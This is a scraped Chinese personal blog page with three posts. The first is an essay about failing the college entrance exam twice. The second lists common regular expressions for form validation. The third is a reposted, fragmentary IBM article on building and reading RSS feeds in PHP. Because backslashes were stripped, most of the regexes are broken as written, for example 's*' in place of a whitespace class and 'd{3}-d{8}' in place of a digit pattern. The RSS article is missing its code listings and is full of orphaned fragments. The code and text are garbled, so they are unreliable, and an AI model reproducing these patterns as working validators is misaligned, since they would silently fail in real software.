  空虚的生命,迷茫的未来,伴我走过了整个大学!还记得当得知高考分数时候的无奈与悲痛!高四一年我付出了,我拼搏了,但我再次败到了考场上,输的让我见不得任何人!每次回到学校见到同学时,都没有任何脸面。记得高三的时候意气风发,和同学谈理想,谈自己的未来,也曾为了自己心爱的女孩许诺过。。。。。。但那一年兵败杀场,我的心凉了,躲在一个没有人的角落,那一个暑假我是从床上度过!家里也了解我,没说什么。那一段日子是我终生难忘的,暑假中,尽管老班主任想让我回母校复读,但我有什么脸面走在那个熟悉的校园中,走在那个让我心痛,又曾经记录着我三年回忆的地方。那时只想找一个没有人的世界,永远不要见到熟悉的人!

  就那样,我去了县里的另外一所高中!开始了我的奋斗历程,这一年纯是三点式生活!那时候的我们只知道学习,只知道试卷,只知道考试。。。。。。除了面对这些我什么也没有想过!

  带着复仇的心理我又踏进了高考的考场,但事情出乎我的意料,几门考试没有一门正常发挥!分数下来的那一刻我的心冰凉冰凉,我的心也从那一刻死了,心如死灰最恰当不过了!!我敢到自己像个伏罪的人,见了老同学也是那样,虽然我知道别人对我不在意,但我好象还是在意别人对我的感受。所以我一直是痛苦的!我的高中就这样在残缺中结束了,回忆我的高中生活就像看一湾残月。

 让我惋惜,让我心痛,真的可以用不堪回忆来形容!我恨我的高中生活。

还记得我拿到大学通知书的时候那种复杂的心情。。。。。。看到平日和我差不多的同学一个个走了重点。看到我那点分数。恨天不能,恨地无眼。。。。。。至今回忆起来还在心痛

没有评论 »

常用正则

五月 23, 2007 | js/web, php | RSS 2.0

 正则表达式用于字符串处理、表单验证等场合,实用高效。现将一些常用的表达式收集于此,以备不时之需。


匹配中文字符的正则表达式: [一-龥]
评注:匹配中文还真是个头疼的事,有了这个表达式就好办了

匹配双字节字符(包括汉字在内):[^x00-xff]
评注:可以用来计算字符串的长度(一个双字节字符长度计2,ASCII字符计1)

匹配空白行的正则表达式:s*
评注:可以用来删除空白行

匹配HTML标记的正则表达式:<(S*?)[^>]*>.*?</1>|<.*? />
评注:网上流传的版本太糟糕,上面这个也仅仅能匹配部分,对于复杂的嵌套标记依旧无能为力

匹配首尾空白字符的正则表达式:^s*|s*$
评注:可以用来删除行首行尾的空白字符(包括空格、制表符、换页符等等),非常有用的表达式

匹配Email地址的正则表达式:w+([-+.]w+)*@w+([-.]w+)*.w+([-.]w+)*
评注:表单验证时很实用

匹配网址URL的正则表达式:[a-zA-z]+://[^s]*
评注:网上流传的版本功能很有限,上面这个基本可以满足需求

匹配帐号是否合法(字母开头,允许5-16字节,允许字母数字下划线):^[a-zA-Z][a-zA-Z0-9_]{4,15}$
评注:表单验证时很实用

匹配国内电话号码:d{3}-d{8}|d{4}-d{7}
评注:匹配形式如 0511-4405222 或 021-87888822

匹配腾讯QQ号:[1-9][0-9]{4,}
评注:腾讯QQ号从10000开始

匹配中国邮政编码:[1-9]d{5}(?!d)
评注:中国邮政编码为6位数字

匹配身份证:d{15}|d{18}
评注:中国的身份证为15位或18位

匹配ip地址:d+.d+.d+.d+
评注:提取ip地址时有用

匹配特定数字:
^[1-9]d*$    //匹配正整数
^-[1-9]d*$   //匹配负整数
^-?[1-9]d*$   //匹配整数
^[1-9]d*|0$  //匹配非负整数(正整数 + 0)
^-[1-9]d*|0$   //匹配非正整数(负整数 + 0)
^[1-9]d*.d*|0.d*[1-9]d*$   //匹配正浮点数
^-([1-9]d*.d*|0.d*[1-9]d*)$  //匹配负浮点数
^-?([1-9]d*.d*|0.d*[1-9]d*|0?.0+|0)$  //匹配浮点数
^[1-9]d*.d*|0.d*[1-9]d*|0?.0+|0$   //匹配非负浮点数(正浮点数 + 0)
^(-([1-9]d*.d*|0.d*[1-9]d*))|0?.0+|0$  //匹配非正浮点数(负浮点数 + 0)
评注:处理大量数据时有用,具体应用时注意修正

匹配特定字符串:
^[A-Za-z]+$  //匹配由26个英文字母组成的字符串
^[A-Z]+$  //匹配由26个英文字母的大写组成的字符串
^[a-z]+$  //匹配由26个英文字母的小写组成的字符串
^[A-Za-z0-9]+$  //匹配由数字和26个英文字母组成的字符串
^w+$  //匹配由数字、26个英文字母或者下划线组成的字符串

没有评论 »

转php+rss

五月 21, 2007 | php | RSS 2.0

http://www.ibm.com/developerworks/cn/xml/x-phprss/index.html

RSS 聚合最近非常流行,因此至少对 RSS 及其工作方式有所了解是一名 PHP 开发人员的迫切需要。本文介绍了 RSS 基础知识、RSS 众多用途中的一些用途、如何使用 PHP 从数据库创建 RSS 提要,以及如何使用 XML_RSS 模块读取现有 RSS 提要并将其转换为 HTML。

回页首

回页首

www.craigslist.org))的经过过滤的结果的提要。我使用的一个小技巧是将其用于购买二手电子产品。您可以设置一个站点搜索,然后 RSS 结果页面。如果您设置了一个搜索某个价格范围内的照相机的提要,那么当有人发布在您定的价格范围内的照相机销售信息时,您就会在您的 RSS 提要中看到它!如果您想成为第一个竞价者,这会为您提供巨大的优势!

回页首

回页首

参考资料 来获得链接)。

XML_RSS()

仅仅是一个函数,它在已知 RSS 提要的位置时,将此提要的 XML 加载到一个阵列,从而为其在您的 PHP 应用程序中的使用做好准备。此阵列的元素将具有根据被读取的 RSS 文件的元素和属性命名的键。

回页首

请确保使用您的 URL 和提要标题更新此标签。

在本文中,您将使用

“”

将数据从数据库中拉出,并将其格式化为 RSS 提要。您将对它进行设置,以便无论何时调用此 RSS 提要,它都能查找您的数据集中新增的内容,并为请求者返回新的 RSS。

提要可来自您的站点中的任何数据源,但是最终您需要确保其中包含足够的数据,以便接收 RSS 提要的人能够使用此数据。至少需要 URL 名称和描述。您的站点上发布的任何数据均可被转换为提要。

您将使用 PHP 来连接 Web 应用程序数据库、拉出更新的信息,并将其格式化为 XML RSS 文档。

回页首

清单 4 中显示的示例直接来自 PEAR 手册,我使用它是因为它非常简练。让我们逐行查看它来看看它是否仅使用了

XML_RSS()

类、构造器和

parse()

提供的几个方法。解析操作仅将输出作为我之前提到的阵列呈现。

首先,您使用

require_once()

函数来从 PEAR 安装中加载 RSS.php 文件。如果正确设置了 PEAR 并安装了

XML_RSS

,那么它将正确地找到此引用文件,然后

XML_RSS

对象就准备好供您使用了。接下来,您创建一个名为

$rss

的新对象,此对象是将提要的 URL 传递到您的

XML_RSS

构造器的结果。

您仅使用

parse()

方法来返回 RSS 提要中的值。第一个 echo 行开始设置用于使 RSS 提要能够被用户阅读的基本 HTML。在本案例中,您声明此无序清单是来自我的站点的标题的清单!

foreach()

语句通过将

getItems()

方法用作新的阵列

$items

,从解析的提要中获取每个项目元素。每个阵列元素根据包含它们的实际 XML 标签命名。在本案例中,您仅使用了链接和标题,一会您将添加对它们的描述。每处理一次

foreach

循环,就会移动到下一个元素,直到整个 RSS 提要以此方式全部显示出来。

现在,将描述添加到每个显示的结果中。

将清单 5 中显示的粗体代码行添加到

foreach()

循环中。

回页首

将本文提交到 Digg 将本文发布到 del.icio.us Slashdot 本文!

总的说来,Internet 才刚刚开始意识到它拥有的难以置信的潜力。通过 RSS 提供的提高了的可访问性,您现在能够简化使您的用户保持同步的过程。您能够及时将更新通知到用户,而无需用户花费时间来检查您是否添加了新信息。

您刚刚探索了 RSS 格式的标准,以及如何创建提要、接收提要并将其转换为可用的 HTML。现在您已经准备好在更大型的应用程序中使用这些技能了。

没有评论 »